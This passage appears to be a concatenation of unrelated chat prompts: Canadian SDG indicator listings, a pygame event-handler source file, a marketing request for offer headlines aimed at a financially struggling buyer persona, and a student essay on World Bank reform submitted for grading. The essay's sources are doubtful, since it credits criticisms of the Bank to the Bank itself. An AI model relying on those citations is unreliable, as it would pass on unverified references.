wireless services\nIndicator: Proportion of Canadians that have access to the latest generally deployed mobile wireless technology\nSource: Canadian Radio-television and Telecommunications Commission. Communications Monitoring Report\nGoal 12 \nEnsure sustainable consumption and production patterns\n\nCanadian Ambition: Canadians consume in a sustainable manner\n\nTarget: No specific target\nIndicator\nProportion of businesses that adopted selected environmental protection activities and management practices\nSources: Statistics Canada. Table 38-10-0132-01 Environmental protection activities by industry; Statistics Canada. Table 38-10-0137-01 Environmental Management Practices by industry\n\nTarget\nNo specific target\nIndicator\nTotal waste diversion per capita\nSources: Statistics Canada. Table 38-10-0138-01 Waste materials diverted, by type and by source; Statistics Canada. Table 17-10-0005-01 Population estimates on July 1st, by age and sex\nGoal 13 \nTake urgent action to combat climate change and its impacts\n\nCanadian Ambition: Canadians reduce their greenhouse gas emissions\n\nTarget\nBy 2030, reduce Canada's total greenhouse gas emissions by 40 to 45%, relative to 2005 emission levels. By 2050, achieve economy-wide net-zero greenhouse gas emissions.\nIndicator\nGreenhouse gas emissions\nNote: corresponds to the Canadian Environmental Sustainability Indicators “Greenhouse gas emissions”\nSource: Environment and Climate Change Canada's National Inventory Report 1990-2019: Greenhouse Gas Sources and Sinks in Canada\n\nCanadian Ambition: Canadians are well-equipped and resilient to face the effects of climate change\n\nTarget-No specific target\nIndicator-Proportion of municipal organizations who factored climate change adaptation into decision-making processes\nSources: Statistics Canada. Table 34-10-0277-01 Count of municipal organizations who factored climate change adaptation into decision-making process, by core infrastructure assets, by urban and rural, and population size, Infrastructure Canada; Statistics Canada. Table 34-10-0261-01 Municipal ownership of core infrastructure assets, by urban and rural, and population size, Infrastructure Canada\nCanada’s 2030 Agenda National Strategy (UN)\nhttps://www.canada.ca/en/employment-social-development/programs/agenda-2030.html\nMoving Forward Together: Canada’s 2030 Agenda National Strategy is a call to action for all Canadians, led by the federal government. It is spearheaded by the Department of Employment and Social Development Canada (ESDC). In 2015, all 193 United Nations Member States adopted the 2030 Agenda for Sustainable Development. \n\nFor Canada, the 2030 Agenda calls for concerted efforts to build an inclusive, sustainable and resilient future, a secure world founded on human rights and the rule of law, free from poverty and hunger. One with full and productive employment and access to quality education and universal health coverage, where gender equality has been achieved, culture and diversity are celebrated, and the environment is protected.\n\nAt the core of the 2030 Agenda are five key elements—people, prosperity, planet, partnership and peace— all supporting sustainable development that leaves no one behind. Central tenets include:\n\nThe 2030 Agenda is universal in nature and applicable to every country; the 2030 Agenda and its SDGs are as relevant in Canada as everywhere else in the world.\nThe 2030 Agenda is ambitious and aspirational. It acknowledges the requirement to move beyond conventional actions to seek transformative solutions.\nThe SDGs are interlinked and indivisible. The achievement of any goal is linked to the achievement of others.\nThe 2030 Agenda can only be achieved when no one is left behind ensuring that every person can participate in, contribute to and benefit from sustainable development.\n\nSustainable development is defined under the Federal Sustainable Development Act, the legislation that requires the government to prepare and report on the Federal Sustainable Development Strategy every three years.\n\nSustainable development not only ensures the planet's health for future generations, it also includes economic stability and vibrant, healthy communities.\nDefinitions\nsustainability\u2002means the capacity of a thing, action, activity, or process to be maintained indefinitely.\u2002(durabilité)\n\nsustainable development\u2002means development that meets the needs of the present without compromising the ability of future generations to meet their own needs.\u2002(développement durabilité)\n\nChallenges being addressed\nFour years into the global implementation of the 2030 Agenda, progress has been made with many of the goals and targets. However, it is not proceeding at the pace needed to achieve this ambitious agenda.\n\nCanada is currently experiencing economic growth and historically low unemployment. with a rapidly evolving labour market due to globalization, new technologies, evolving business models and shifting demographics. Amid rapid change, Canada's prosperity and success will increasingly depend on helping all Canadians access decent jobs and on creating a culture of innovation, skills development and lifelong learning.\n\nThe spread of information and communications technology is helping to accelerate human progress. \nAdopting the 2030 Agenda\nCanadians are already answering the call. From businesses acting in socially responsible and environmentally sustainable ways, ….overcome shared challenges and achieve the shared ambitions of the SDGs.\n\nIt is recommended that Canada’s 2030 Agenda National Strategy cover the following:\nLeadership, governance and policy coherence\nworking across different levels of government to create an environment that fosters ownership and collaboration on the SDGs;\nAwareness, engagement and partnership\nraising awareness of the SDGs will include highlighting the efforts of Canadians who are already contributing to the 2030 Agenda\nCanada recognizes that multi-stakeholder partnerships are essential in order to achieve the 2030 Agenda. horizontal collaboration and innovation across sectors that help further implement the 2030 Agenda. This includes partnerships aimed at building awareness and engagement, expanding or establishing new partnerships and networks, and advancing capacity building and research. \nBringing together diverse experts with practical knowledge, experience and insights about approaches that work well enables Canada to enhance problem-solving, innovation and peer learning. These are important implementation tools that can generate new solutions to sustainable development challenges.\nAccountability, transparency and reporting\nReconciliation and the 2030 Agenda\nInvesting in the SDGs\nAchieving sustainable development is key to securing future economic prosperity, ensuring the health of the planet and preserving global peace and security.\nEnhance collaboration between different levels of government, the private and non-profit sectors and research communities, and support the development of new and innovative partnerships, approaches and breakthroughs to advance multiple SDGs.\n\nThe Federal Sustainable Development Strategy\nGoal 2:\nShort-term milestone: Promote and support the Canadian Agricultural Partnership Policy Framework\nConclude the Canadian Agricultural Partnership by 2023 and develop the next Canadian agricultural policy framework.\n\nImplementation strategy action: Support sustainable agriculture\nSupport research, development, knowledge transfer, and adoption of sustainable agricultural practices. Conduct research on the environmental effects of agriculture, as well as ways the sector can help combat climate change and become more economically and environmentally sustainable, including by developing nature-based agricultural climate solutions. Promote innovation and encourage the adoption of sustainable agricultural practices, as well as the use of clean fuels and technologies at farm and landscape levels.\nGoal 8: \nTarget: Clean technology commercialization\nBetween 2022 and 2026, 30% of all Sustainable Development Technology Canada's SD Tech Fund-supported technologies are commercialized annually (Minister of Innovation, Science and Industry)\nIndicator\nPercentage of SD Tech Fund-supported technologies commercialized (revenue derived from project technology)\nThis indicator tracks the percentage of SD Tech Fund supported technologies commercialized (revenue derived from project technology). As of March 31, 2021, 32% of Sustainable Development Technology Canada's supported technologies have been commercialized. Commercialized projects represent those that have entered or were ready to enter the market, as of March 31 of the given fiscal year.\nGoal 9:\nShort-term milestone: Growing business investment in research and development\nIncrease Canadian business expenditures in research and development to $30 billion by 2025, keeping pace with the Organisation for Economic Co-operation and Development average as a percentage of gross domestic product.\nGoal 12:\nShort-term milestone: Measure food loss and waste\nBy 2023, establish a national measurement framework and baseline to identify priority areas of action to reduce food loss and waste.\n\nImplementation strategy action: Deliver efficient food systems\nReduce food loss and waste at all stages of the food supply chain, helping to make our diverse food systems more efficient and more environmentally, socially and economically sustainable.\nGoal 13:\nShort-term milestone: Establish a 2030 Emissions Reduction Plan\nBy the end of March 2022, pursuant to the Canadian Net-Zero Emissions Accountability Act, establish Canada's 2030 Emissions Reduction Plan that includes a description of the key measures the Government of Canada intends to take to achieve the 2030 greenhouse gas emissions reduction target of 40 to 45% below 2005 levels." +'Here is the "event\\_handler.py" as I said earlier is in charge of the events: from typing import List, Callable\nimport pygame as pg\nfrom .global\\_data import DATA, on\\_update\nfrom .objects import Object\n\nclass Event:\n \\_\\_slot\\_\\_ = "event\\_type", "event\\_name", "callback", "object", "name"\n \n def \\_\\_init\\_\\_(self, event\\_type, event\\_name, callback: Callable, object: Object = None, name: str = "Default", \\*\\*kwargs):\n self.type = event\\_type\n self.event\\_name = event\\_name\n self.callback = callback\n self.object = object\n self.name = name\n\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n def \\_\\_contains\\_\\_(self, item):\n return item in self.\\_\\_dict\\_\\_.keys()\n\n def \\_\\_call\\_\\_(self, \\*\\*kwargs):\n try:\n self.callback(\\*\\*kwargs)\n except Exception as e:\n self.callback()\n\nclass EventList(list): \n def \\_\\_init\\_\\_(self, \\*args, \\*\\*kwargs):\n super().\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n\n def get\\_by\\_type(self, event\\_type) -> List[Event]:\n return [event for event in self if event.type == event\\_type]\n\n def get\\_by\\_name(self, event\\_name) -> Event:\n lst = [event for event in self if event.event\\_name == event\\_name]\n return lst[0] if lst else None\n\n def replace(self, name: str, new\\_event: Event) -> None:\n for i, event in enumerate(self):\n if event.name == name:\n self[i] = new\\_event\n\n def remove(self, \\*names) -> None:\n for name in names:\n for i, event in enumerate(self):\n if event.name == name:\n del self[i]\n\n def add(self, event: Event):\n # if event already exists, replace it\n if self.get\\_by\\_name(event.name):\n self.replace(event.name, event)\n\n # otherwise, add it\n else:\n self.append(event)\nclass EventHandler:\n r\'\'\'\n - Manages events on the program \n \'\'\'\n \n events = EventList()\n to\\_remove: List[str] = []\n to\\_add: List[Event] = []\n\n \\_\\_ezsgame\\_events = ("update",)\n\n def check():\n # gets widnow events\n events = pg.event.get()\n\n # removes events\n for name in EventHandler.to\\_remove:\n\n for event in EventHandler.events:\n if event.name == name:\n EventHandler.events.remove(event)\n break\n\n # if is ezsgame event\n else:\n # removes event from DATA so it won\'t be called anymore\n if name in DATA.on\\_update:\n del DATA.on\\_update[name]\n\n EventHandler.to\\_remove.clear()\n\n # adds events\n for event in EventHandler.to\\_add:\n\n # if is ezsgame event\n if event.type == "ezsgame":\n\n # MANAGE EZSGAME EVENTS\n\n # on update event\n if event.event\\_name == "update":\n on\\_update(event.name, event.callback)\n\n # if is a event\n else:\n EventHandler.events.add(event)\n\n EventHandler.to\\_add.clear()\n\n # EVENT MANAGEMENT -------------------------------------------------------------------------------------------\n for ev in events:\n # ev : event to process\n\n # quit event (cannot be event listener)\n if ev.type == pg.QUIT:\n for event in EventHandler.events.get\\_by\\_type(pg.QUIT):\n event.callback()\n\n DATA.window.quit()\n\n # Manages custom events\n for event in EventHandler.events.get\\_by\\_type("custom"):\n event\\_args = {\n "key": ev.key if ev.\\_\\_dict\\_\\_.get("key") else None,\n "unicode": ev.unicode if ev.\\_\\_dict\\_\\_.get("unicode") else None,\n "type": ev.type,\n "button": ev.button if ev.\\_\\_dict\\_\\_.get("button") else None,\n "is\\_hovering": EventHandler.is\\_hovering(event["object"]) if "object" in event else False\n }\n\n event(\\*\\*event\\_args)\n\n # EVENT LOOP (managing events)\n for event in EventHandler.events.get\\_by\\_type(ev.type):\n\n # if is event listener (uses a object)\n is\\_event\\_listener = event.object is not None\n is\\_hovering = False\n\n if is\\_event\\_listener:\n is\\_hovering = EventHandler.is\\_hovering(event.object)\n\n # if is not hovering and event is not unhover then skip\n if not is\\_hovering and not event.event\\_name == "unhover":\n continue\n\n # function to reduce code, function decides whaterver callback should called or not\n def callback():\n if is\\_event\\_listener:\n # events that require be hovering\n if is\\_hovering and event.object.styles.visible:\n event.callback()\n\n # if is not event listener is base event, just call callback\n else:\n event.callback()\n\n # mouse events\n if ev.type == pg.MOUSEBUTTONDOWN:\n # mouse wheel up\n if event.event\\_name == "mousewheelup" and ev.button == 4:\n callback()\n continue\n\n # mouse wheel down\n elif event.event\\_name == "mousewheeldown" and ev.button == 5:\n callback()\n continue\n \n # right mouse button\n elif event.event\\_name == "rightclick" and ev.button == 3:\n callback()\n continue\n \n # click, mousedown or leftclick\n elif event.event\\_name in ("click", "mousedown", "leftclick") and ev.button == 1:\n callback()\n continue\n \n\n # hover events\n elif ev.type == pg.MOUSEMOTION:\n if event.event\\_name == "unhover":\n if not is\\_hovering:\n event.callback()\n continue\n\n else:\n callback()\n continue\n\n # mouse up events\n elif ev.type == pg.MOUSEBUTTONUP:\n if event.event\\_name == "mouseup" or event.type == pg.MOUSEBUTTONUP:\n event.callback()\n\n else:\n callback()\n\n elif "key" in event:\n if event.key == ev.key:\n event(key=ev.key, unicode=ev.unicode)\n continue\n\n # base on key event keydown or keyapp\n elif event.type in (pg.KEYDOWN, pg.KEYUP):\n event(key=ev.key, unicode=ev.unicode)\n\n # any event that matchess current window event\n else:\n callback()\n\n def add\\_event(event: str, object: Object, callback, name: str = "Default"):\n r\'\'\'\n #### Adds a event listener to a object\n - `event` : event to be added \n - Events : `click`, `hover`, `unhover`, `unclick`.\n - `name` : name of the event \n - `object` : object to be added to the event \n - `callback` : function to be called when the event is triggered\n \'\'\'\n \n event, event\\_type = EventHandler.\\_convert\\_to\\_pgevent(event)\n \n if name == "Default":\n name = f"{event}.{object.id}.{len(EventHandler.events)}.{len(EventHandler.to\\_add)}"\n \n EventHandler.to\\_add.append(\n Event(event\\_type, event, callback, object, name))\n\n def remove\\_event(name: str):\n f\'\'\'\n #### Removes an event from the event list so it won\'t be called anymore\n - `name` : name of the event to be removed \n \'\'\'\n EventHandler.to\\_remove.append(name)\n\n def is\\_hovering(object: Object) -> bool:\n r\'\'\'\n #### Checks if the mouse is hovering over the object\n - `object` : object to check if the mouse is hovering over it\n \'\'\'\n mouse\\_pos = pg.mouse.get\\_pos()\n box = object.\\_get\\_collision\\_box()\n\n if mouse\\_pos[0] > box[0][0] and mouse\\_pos[0] < box[1][0]:\n if mouse\\_pos[1] > box[0][1] and mouse\\_pos[1] < box[2][1]:\n return True\n\n return False\n\n def on\\_event(event: str, callback, name: str = "Default"):\n r\'\'\'\n #### Adds a `Base Event` to the event list, Calls function when event is triggered. \n - `event`: event to be added \n - Events : `quit`, `mousemotion`, `mousedown`, `mouseup`, `keydown`, `keyup`, `mousewheel`, `update`\n - `callback`: function to be called when the event is triggered ``function``\n - `name`: name of event (optional)\n \'\'\'\n \n name = f"base\\_event.{event}.{len(EventHandler.events)}" if name == "Default" else name\n\n # if is ezsgame event\n if event in EventHandler.\\_\\_ezsgame\\_events:\n EventHandler.to\\_add.append(\n Event("ezsgame", event, callback, None, name))\n return\n\n event, event\\_type = EventHandler.\\_convert\\_to\\_pgevent(event)\n\n EventHandler.to\\_add.append(\n Event(event\\_type, event, callback, None, name))\n\n def on\\_key(type: str, keys: list, callback, name: str = "Default"):\n r\'\'\'\n #### Calls function when key event is triggered.\n - `type`: type of `Event` to be added\n - Events : `down` (when key is down), `up` (when key released)\n - `keys`: keys to be added to the event \n - `callback`: function to be called when the event is triggered \n - `name`: name of event (optional)\n \'\'\'\n types = {\n "down": pg.KEYDOWN,\n "up": pg.KEYUP\n }\n\n event\\_type = types.get(type, None)\n\n if not event\\_type:\n raise ValueError("Invalid type: ", type)\n\n for key in keys:\n if key.lower() == "enter":\n key = "RETURN"\n\n elif len(key) > 1:\n key = key.upper()\n\n k = eval("pg.K\\_" + key)\n\n name = f"{key}\\_{type}\\_{len(EventHandler.events)}" if name == "Default" else name\n\n EventHandler.to\\_add.append(\n Event(event\\_type, k, callback, None, name, key=k))\n\n def custom\\_event(callback, object=None, name: str = "Default"):\n r\'\'\'\n #### Creates a custom event. \\*[Decorator]\\*\n - `callback` : function to be called with event parameters\n - `object` : object to check if is hovering, if you need `is\\_hovering` (Optional)\n - `name`: name of event (optional)\n \'\'\'\n\n name = f"custom\\_event.{name}.{len(EventHandler.events)}" if name == "Default" else name\n\n EventHandler.to\\_add.append(\n Event("custom", "custom", callback, object, name))\n\n def \\_convert\\_to\\_pgevent(event):\n if event in EventHandler.\\_\\_ezsgame\\_events:\n return event\n\n event = event.lower().replace(" ", "").replace("\\_", "")\n\n evs = {\n "hover": pg.MOUSEMOTION,\n "click": pg.MOUSEBUTTONDOWN,\n "rightclick": pg.MOUSEBUTTONDOWN,\n "leftclick": pg.MOUSEBUTTONDOWN,\n "mousedown": pg.MOUSEBUTTONDOWN,\n "mouseup": pg.MOUSEBUTTONUP,\n "unhover": pg.MOUSEMOTION,\n "unclick": pg.MOUSEBUTTONUP,\n "keydown": pg.KEYDOWN,\n "keyup": pg.KEYUP,\n "mousewheelmotion": pg.MOUSEWHEEL,\n "mousemotion": pg.MOUSEMOTION,\n "quit": pg.QUIT,\n "mousebuttondown": pg.MOUSEBUTTONDOWN,\n "mousebuttonup": pg.MOUSEBUTTONDOWN,\n "mousewheelup": pg.MOUSEBUTTONDOWN,\n "mousewheeldown": pg.MOUSEBUTTONDOWN\n }\n\n if event not in evs:\n raise Exception("Event type not found", event)\n \n return (event, evs[event])\n# event decorators ------------------------------------------------------------\ndef on\\_key(type: str, keys: list, name: str = "Default") -> Callable:\n r\'\'\'\n #### Calls the function when the key event is triggered\n - `type` : type of the event. `up` or `down`\n - Event types : `up` (when the key is released), `down` (when the key is pressed)\n - `keys` : key/keys to listen to\n - `name` : name of the event (Optional) \n \'\'\'\n if not isinstance(keys, list):\n keys = [keys]\n\n def wrapper(func):\n EventHandler.on\\_key(type, keys, func, name)\n return func\n\n return wrapper\n\ndef add\\_event(event: str, object: Object, name: str = "Default") -> Callable:\n r\'\'\'\n #### Adds an event listener to an object\n - `event` : event to listen to\n - `object` : object that will be "listening"\n - `name` : name of the event (Optional)\n \'\'\'\n\n def wrapper(func):\n EventHandler.add\\_event(event, object, func, name)\n return func\n\n return wrapper\n\ndef on\\_event(event: str, name: str = "Default") -> Callable:\n r\'\'\'\n #### Calls funcion when the event is triggered, (Base Event)\n - `event` : event to listen to\n - Events : `quit`, `mousemotion`, `mousedown`, `mouseup`, `keydown`, `keyup`, `mousewheel`\n - `name` : name of the event (Optional)\n \'\'\'\n\n if name == "Default":\n name = f"base\\_event.{event}.{len(EventHandler.events)}" if name == "Default" else name\n\n def wrapper(func):\n EventHandler.on\\_event(event, func, name)\n return func\n\n return wrapper\n\ndef custom\\_event(object=None, name: str = "Default") -> Callable:\n r\'\'\'\n #### Adds a function as custom event\n - `object` : object to check if is hovering, if you need `is\\_hovering` (Optional)\n - `name` : name of the event (Optional)\n \'\'\'\n def wrapper(func):\n EventHandler.custom\\_event(func, object, name)\n return func\n\n return wrapper\n\ndef remove\\_event(name: str):\n r\'\'\'\n #### Removes an event from the event handler\n - `name` : name of the event\n \'\'\'\n EventHandler.remove\\_event(name)' +'Based on all of the information above and the headline structure below, generate 20 headlines\nMake a Magnetic “Reason Why”\nWe start the name with a word or phrase that tells people the “reason why” we are running our promotion.\nI like to tell people to think like a fraternity party planner. When I was in college, we had a party once because a guy got his wisdom teeth removed. I say this to say. . .the “reason why” can literally be anything.\nIt really doesn\'t matter so long as you believe it. And you can even make a joke of it like the fraternity example. But this should answer one or both of the following questions: Why are they making this great offer? or Why should I respond to this offer?/What’s in it for me?\n\nExamples: Free, 88% off, Giveaway; 88% off, Spring, Summer, Back To School; Grand Opening; New Management; New Building; Anniversary; Halloween; New Year.\nNote: I will discuss how to monetize free and discounted offers in Volume III: Money Models.\nAnnounce Your Avatar\nThis component calls out your ideal avatar: who you are looking for and who you are not looking for as a client. You want\nto be as specific as possible, but no more. When in a local area, the more local you can make your headline, the more it will convert. So don\'t do a city, try and go to the sub market, or hyper local area. Not Baltimore but Towson, MD. Not Chicago, but Hinsdale, Etc.\nExamples: Bee Cave Dentists, Rolling Hills Moms, Brick & Mortar Businesses, Salon Owners, Retired Athletes, Brooklyn Busy Executives\n Give Them A Goal\nThis is where you articulate your prospect’s dream outcome. It can be a single word or a phrase. It can be an event, a feeling, an experience, or an outcome, anything that would excite them. The more specific and tangible, the better.\nExamples: Pain Free, Celebrity Smile, 1st Place, Never Out Of Breath, Perfect Product, Grand Slam Offer, Little Black Dress, Double Your Profit, First Client, High Ticket, 7 Figure, 100k, Etc.\nIndicate a Time Interval\nYou’re just letting people know the duration to expect here. This gives an example of how long your results will take to achieve.\nNote: If you’re making any sort of quantifiable claim (like income gain or weight loss) most platforms will not approve this type of messaging with a stated duration to achievement because it implies a guarantee. It implies they are going to get this outcome in a period of time, which goes against many platform rules. So dont give a quantifiable outcome with the duration unless your platform allows it. That being said, duration is a powerful component of a Grand Slam Offer and you should definitely use it anywhere you don\'t need to deal with compliance. Alternatively, if the goal you help them with is not a “claim” per se, then absolutely use a time interval. “$10,000 in 10 days” vs “Make Your First Sale in 10 Days.”\nExamples: AA Minutes, BB Hours, CC Days, DD Weeks, Z Months. “4 Hour” “21 Day” “6 Week” “3 Month”\nComplete With A Container Word\nThe container word denotes that this offer is a bundle of lots of things put together. It’s a system. It’s something that can’t be\nheld up to a commoditized alternative.\nExamples: Challenge, Blueprint, Bootcamp, Intensive, Incubator, Masterclass, Program, Detox, Experience, Summit,\nAccelerator, Fast Track, Shortcut, Sprint, Launch, Slingshot, Catapult, Explosion, System, Getaway, Meetup, Transformation, Mastermind, Launch, Game Plan, Deep Dive, Workshop, Comeback, Rebirth, Attack, Assault, Reset, Solution, Hack, Cheatcode, Liftoff, Etc.\nPro Tip: Find Time To Rhyme\nGood rhymes stick in people’s minds. Rhyme your program name to win the game.\nGoogle “rhyming dictionary” for an easy shortcut. Note - Don’t try and force it. It’s not a requirement, it’s just a “nice-to-have”.\nExamples: Six-Pack Fast Track, 5-Day Book Print Sprint, Marriage Thrive Deep Dive, 12-Week 2-Putt Shortcut, 12-Month No-Debt Reset, Celebrity Butt\nShortcut, Get Some Ass Masterclass (just thought it was funny), etc. You get the idea.\nPro Tip: Alliteration\nAlliteration is when you make all (or most) of the words start with the same letter or sound.\nAn alternative approach to rhyming is to use alliteration when naming your program. This is easier for most people than rhyming. Again, you do not need to rhyme or alliterate. Don’t force it.\nExamples:Make Money Masterclass, Change Your Life Challenge, Big Booty Bootcamp, Debt Detox, Real Estate Reset, Life Coach Liftoff, Etc.\nI might be weird, but naming offers is one of my favorite parts of this process. What I want to highlight, yet again, is that your actual money model, pricing, and services will remain largely unchanged. Changing the wrapper simply means changing the exterior perception of what your Grand Slam Offer is.\nBelow you’ll find a few examples of named offers for different industries.\nWe llne ss\nFree Six-Week Lean-By-Halloween Challenge\n88% Off 12-Week Bikini Blueprint\nFree 21-Day Mommy Makeover\n60-minute Make Your Friends Jealous Model Hair System Six-Week Stress-Release Challenge\n(Free!) Bend Over Pain Free in 42 Days . . . Healing Fast Track\n Examples:\nDoctors\n $2,000-Off Celebrity Smile Transformation\nLakeway Moms - $1,500 Off Your Kids Braces\nLakeway Moms - 12 Months To A Perfect Smile ($1000 off for 15 families) Back to School Free Braces Giveaway\nGrand Opening Free X-Ray & Treatment - Instant Relief\nBack Sore No More! 90 Day Rapid Healing Intensive (81% off!) Tightness? $1 Massage New Client Summer Special\nCoaching\n5 Clients in 5 Days Blueprint\n7F Agency 12 Week Intensive\n14 Day Find Your Perfect Product Launch Fill Your Gym in 30 Days (Free!)\nYou\'re selling a 12 month program:{include nickname from above} that teaches people how to start and grow an Amazon FBA business to 6-7 figures.\n\nSummary of Buyer Persona "Mike":\n\nDemographics:\n\nMike is a man in his 20s or 30s, sometimes with kids.\nHe is struggling financially or sees no good future in his 9-5 job.\nHe has found it difficult to quit the rat race and build his own business due to lack of initial capital.\nHe is interested in making money with a side hustle and building a 6-7 figure Amazon FBA business.\nPsychographics:\n\nMike is determined to make a better future for himself and his family.\nHe is tired of working long hours and not seeing the financial rewards.\nHe feels a sense of urgency to take action and make changes to his life.\nHe wants to prove to himself and others that he can succeed in business.\nHe is looking for a mentor or guide to help him succeed.\nMain Challenges:\n\nLack of initial capital to start a business like Amazon FBA.\nFear of failure and not being able to provide for his family.\nLack of knowledge and expertise in building an Amazon FBA business.\nDifficulty in finding the right product to sell on Amazon.\nTrying to scale to 7 figures with just one best-selling product.\nValues:\n\nMike values financial freedom and the ability to provide for his family.\nHe values independence and the ability to work for himself.\nHe values growth and learning, and wants to continually improve his skills.\nMotivations:\n\nMike is motivated by the desire to quit his 9-5 job and build a successful business.\nHe is motivated by the potential for financial success and freedom.\nHe is motivated by the desire to prove himself and his abilities to others.\nKey Emotional Drivers:\n\nFear of failure and not being able to provide for his family.\nFeeling stuck in his current situation and wanting to make a change.\nSense of urgency to take action and make changes to his life.\nPrevious attempts:\n\nTried various methods to start a business, but failed due to lack of knowledge, experience, and high competition.\nTried to scale his Amazon FBA business with just one best-selling product, which didn\'t work.\nFrustrations with previous attempts:\n\n"I was overwhelmed by the competition and couldn\'t find a way to stand out."\n"I didn\'t have the necessary knowledge and expertise to build a successful business."\n"I invested a lot of time and money into a product that didn\'t sell well."\nContrarian Explanations:\n\nSuccess in Amazon FBA doesn\'t come from finding one big product, but rather from implementing a 12-month phase plan.\nThe traditional methods for starting a business may not work for everyone, and it\'s important to find the right mentor or guide to help.\nLack of initial capital shouldn\'t be a barrier to starting a business, and there are ways to start with little to no money.\nFear of failure is a common emotional barrier, but failure is a necessary part of the learning process and can lead to eventual success.\nIt\'s not necessary to have all the knowledge and expertise from the beginning, but rather to be willing to learn and adapt.\nHaving multiple products and income streams is more important than relying on just one best-selling product.\nSuccess in business requires hard work and dedication, but also a willingness to take risks and try new things.' +'If you were an economics and political science professor at a university grading this essay question: "World bank has been dominated by rich countries. Inadequate reforms have limited its capacity to serve the developing countries. Agree or disagree." \n\nHow would you evaluate it? Provide a grade, and percentage out of 20 and comment on it, add feedback\n while marking the essays, grade using the criteria below:\n1. Does the essay address the issue, and with sufficient focus?\n2. Does the essay show a grasp of the relevant concepts, theories and knowledge?\n3. Does the essay demonstrate a logical and effective pattern of argument?\n4. ls the essay adequately presented in terms of: correct referencing and quoting; spelling, grammar and style; layout and visual presentation?\n\nThe World Bank is an international financial institution that provides loans and assistance to developing countries. Since its inception, the World Bank has been dominated by rich countries, which has led to concerns about its ability to effectively serve the needs of developing countries. This paper will evaluate whether inadequate reforms have limited the World Bank\'s capacity to serve the developing countries and conclude about whether inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nOne reason why I agree with the statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries is the fact that it is dominated by rich countries. The majority of the voting power at the World Bank is held by the United States, Japan, China, Germany, and other wealthy countries, which means that the decisions made by the institution are largely influenced by the interests of these countries (International Monetary Fund, 2018). This dominance by rich countries can create a bias towards projects and initiatives that benefit these countries, rather than those that benefit the developing countries (Badkar, 2015). This can ultimately limit the ability of the World Bank to effectively serve the needs of the developing countries, as the priorities of the institution may not align with the needs of these countries. Furthermore, the dominance of rich countries at the World Bank can also lead to a lack of representation and voice for the developing countries, which can further hinder the ability of the World Bank to effectively serve their needs. This supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nIn addition to the dominance of rich countries, the World Bank has also been criticized for its lack of transparency and accountability (Gupta & Sheng, 2018). The World Bank has been accused of not adequately consulting with the communities and governments of the countries where it operates, and of not being transparent about the allocation of its funds (Seneviratne, 2005). This lack of transparency and accountability can create a breeding ground for corruption and mismanagement of funds, which can ultimately hinder the ability of the World Bank to effectively serve the needs of developing countries. The lack of transparency and accountability at the World Bank can lead to the allocation of funds to projects and initiatives that do not align with the needs of the developing countries or that do not have the intended impact on development. This can result in a waste of resources and a lack of progress towards development goals. This lack of transparency and accountability, coupled with the dominance of rich countries, supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nWhile I agree with the concerns raised about the World Bank\'s dominance by rich countries and lack of transparency and accountability, it should also be recognized that the World Bank has made efforts to reform and improve its operations in recent years. For example, the World Bank has introduced a new set of standards for environmental and social safeguards, which aim to protect the rights of local communities and the environment in the countries where it operates (World Bank, n.d.). Additionally, the World Bank has also increased its focus on issues such as gender equality, climate change, and poverty reduction (World Bank, n.d.). These reforms suggest that the World Bank is taking steps to address the concerns about its ability to serve the developing countries. However, these reforms have been criticized for being inadequate and not addressing the root causes of the issues (Gupta & Sheng, 2018). For instance, the environmental and social safeguards introduced by the World Bank have been criticized for being weak and not adequately protecting the rights of local communities (World Bank, n.d.). Similarly, the World Bank\'s focus on issues such as gender equality and climate change has been seen as inadequate and not addressing the underlying systemic issues (World Bank, n.d.). This suggests that while the World Bank is making efforts to reform and improve its operations, but these efforts have been inadequate and have not addressed the root causes of the concerns about its ability to serve the developing countries. This supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\n\nThere are efforts made by the World Bank to reform and improve its operations, but these efforts have been inadequate and have not addressed the root causes of the issues (Gupta & Sheng, 2018). The dominance of rich countries at the World Bank means that the institution is likely to prioritize the interests of these countries over those of the developing countries (Badkar, 2015). This can lead to a bias towards projects and initiatives that benefit the rich countries, rather than those that benefit the developing countries. This can also lead to erosion of trust and confidence in the institution (Seneviratne, 2005), which can further hinder its effectiveness in serving the needs of the developing countries. These factors, coupled with the inadequate reforms that have been implemented by the World Bank, support our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\n\nIn addition to the aforementioned issues, the World Bank\'s focus on economic growth and development has been inadequate in addressing the needs of the developing countries (Gupta & Sheng, 2018). The World Bank\'s approach to development has been criticized for being overly focused on GDP growth and not addressing issues such as inequality, poverty, and environmental sustainability (Gupta & Sheng, 2018). This narrow focus on economic growth has led to a lack of attention to the social and environmental impacts of the World Bank\'s projects and initiatives, which can ultimately hinder the ability of the developing countries to achieve sustainable and inclusive development (Gupta & Sheng, 2018). For instance, the World Bank\'s focus on GDP growth can lead to the promotion of economic policies and initiatives that prioritize short-term growth over long-term sustainability (Seneviratne, 2005). This can result in environmental degradation, resource depletion, and other negative impacts on the developing countries (International Monetary Fund, 2018). Additionally, the World Bank\'s focus on GDP growth can also exacerbate inequality, as it can benefit the wealthy and powerful at the expense of the poor and marginalized (Badkar, 2015). This can further hinder the ability of the developing countries to achieve inclusive and equitable development. This supports our agreement with the thesis statement that inadequate reforms have limited the World Bank\'s ability to serve the developing countries.\nIn conclusion, while it is important to recognize the contributions that the World Bank has made to the development of the developing countries, I ultimately agree with the statement that inadequate reforms have limited its capacity to serve these countries. The dominance of rich countries and the lack of transparency and accountability at the World Bank, as well as its narrow focus on economic growth, have hindered its ability to effectively serve the needs of the developing countries. However, the recent reforms that the World Bank has implemented suggest that it is taking steps to address these concerns and improve its ability to serve the developing countries.\n\n\nWorks Cited\nBadkar, M. (2015). The World Bank is Dominated by the US and Europe, and that\'s a Problem. Business Insider. Retrieved from https://www.businessinsider.com/the-world-bank-is-dominated-by-the-us-and-europe-and-thats-a-problem-2015-3\nGupta, A., & Sheng, L. (2018). Inclusive Development and the World Bank: Assessing the Record. International Journal of Development Issues, 17(2), 139-158.\nInternational Monetary Fund. (2018). The World Bank: History, Role, and Functions. Retrieved from 